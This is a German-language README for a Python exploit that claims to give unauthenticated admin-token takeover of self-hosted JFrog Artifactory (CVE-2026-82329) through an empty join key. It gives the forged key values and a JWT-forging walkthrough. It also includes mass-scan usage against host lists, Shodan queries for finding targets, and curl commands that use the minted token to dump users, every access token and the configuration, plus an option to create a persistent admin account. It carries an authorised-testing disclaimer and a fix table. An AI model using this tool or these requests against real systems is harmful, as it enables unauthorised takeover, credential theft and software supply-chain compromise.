
Exploit für CVE-2026-82329, eine nicht authentifizierte Authentifizierungsumgehung in selbst gehostetem JFrog Artifactory, die die Übernahme von Admin-Tokens über einen leeren Join-Key ermöglicht.
╔══════════════════════════════════════════════════════════╗
║ artifactory · CVE-2026-82329 unauth admin takeover ║
║ mitsec · https://x.com/ynsmroztas ║
╚══════════════════════════════════════════════════════════╝
CVE-2026-82329 — JFrog Artifactory (selbst gehostet) unauthentifizierter Join-JWT
→ SERVICE admin-Token → Plattform-applied-permissions/admin-Zugriffstoken.
CVSS 9.8 · CWE-287 · CISA KEV · in freier Wildbahn ausgenutzt.
Nur für autorisierte Tests. Führen Sie dies nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine schriftliche Genehmigung zum Testen haben.
Standardmäßige selbst gehostete Installationen vertrauen einem leeren Join-Key.
JoinKeyUtils.getSigningKey("") == pkcs7(empty, 32) == 32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
Cloud-gehostetes JFrog ist gepatcht. Nur selbst gehostet.
Access-Fix-Linie: 7.191.14.
# nur stdlib — kein pip
python3 artifactory.py -h
TLS-Verifizierung ist standardmäßig deaktiviert (selbstsigniertes Artifactory ist normal).
Kein zusätzliches Flag.
# einzelner Host
python3 artifactory.py -u https://artifactory.example.internal:8082
# gemünztes Admin-Token ausgeben
python3 artifactory.py -u https://TARGET:8082 --token
# Liste / Pipeline (httpx, shodan, subfinder-Stil)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py
# Nur Pro / Enterprise — lokalen Admin persistieren (destruktiv)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1
[VULN] https://TARGET:8082 join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE] https://patched:8082 join HTTP 401 (gepatcht / kein leerer Key)
[FAIL] https://dead:8082 nicht erreichbar
| Tag | Bedeutung |
|---|
--token gibt den Bearer-Wert aus. Das ist die Übernahme — ein Login-Benutzer ist optional.
--create-admin liefert auf OSS oft 400 (PUT /artifactory/api/security/users ist Pro).
Das Admin-Token funktioniert trotzdem. Persistenz ist für einen gültigen Befund nicht erforderlich.
Ersetzen Sie TARGET und fügen Sie das Token aus --token ein.
TOKEN='eyJ...' # Ausgabe von --token
B='https://TARGET:8082'
# Version / Edition
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/version"
# Benutzerverzeichnis (Admin)
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v2/users"
# Jedes Zugriffstoken auf der Instanz
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens" | head -c 400
# Repository-Inventar
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/repositories"
Weitere nützliche Nur-Admin-Lesezugriffe (nicht schreiben, außer autorisiert):
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/configuration" -o config.xml
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/security/users"
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens"
UI: Plattform → Anmelden mit Access Token, oder senden Sie
Authorization: Bearer <token> bei jeder Anfrage.
curl -sk -D- -X POST "$B/access/api/v2/users" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'
Passwortrichtlinie 400 ≠ nicht verwundbar. Token hat bereits aud=*.
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"
# gängige Ports
8081 8082 8040 8046 443
Das Tool entfernt /artifactory /ui /webapp aus -u und kommuniziert mit dem Access-Router auf derselben Origin.
--create-admin nicht der Befund istAuswirkung melden als: unauthentifiziertes Plattform-Administrator-Token.
Benutzererstellung ist eine Folgeaktion, nicht das Kernproblem.
Dieses Repository ist ein Validator für Systeme, die Sie testen dürfen.
Das Münzen von Tokens, das Auflisten von Benutzern oder das Erstellen von Konten auf Infrastruktur Dritter ohne Erlaubnis ist illegal.
Patch: Aktualisieren Sie auf den behobenen Build für Ihren Branch, setzen Sie einen echten Join-Key, rotieren Sie nach der Offenlegung gemünzte Tokens.
mitsec · @ynsmroztas
| Schritt | Anfrage | Ergebnis |
|---|
| 1 | HS256-Join-JWT fälschen (iat frisch, skip_node_registration=true) | bekannter HMAC-Secret |
| 2 | POST /access/api/v1/registry/join | 201 SERVICE-Token scp=admin |
| 3 | POST /access/api/v1/tokens | 200 Admin-Token scp=applied-permissions/admin aud=* |
| 4 | GET /artifactory/api/system/configuration | Nur-Admin-Nachweis (unauth = 401) |
| Branch | Verwundbar ≤ | Behoben |
|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
VULN | Leerer Join akzeptiert + Admin-Nachweis (configuration oder Token-Liste = 200) |
SAFE | Join abgelehnt — gepatcht, zusätzliche Join-Keys gesetzt oder kein Access |
INFO | Join gemünzt, Nachweis-Endpunkte nicht 200 — manuell prüfen |
FAIL | Netzwerk / Timeout |
| Oberfläche | OSS | Pro / Enterprise |
|---|
| Admin-Zugriffstoken münzen | ja | ja |
| Config lesen / Tokens auflisten / Repos | ja | ja |
PUT /artifactory/api/security/users | 400 nur Pro | 200/201 |
POST /access/api/v2/users | versions-/richtlinienabhängig | 201 |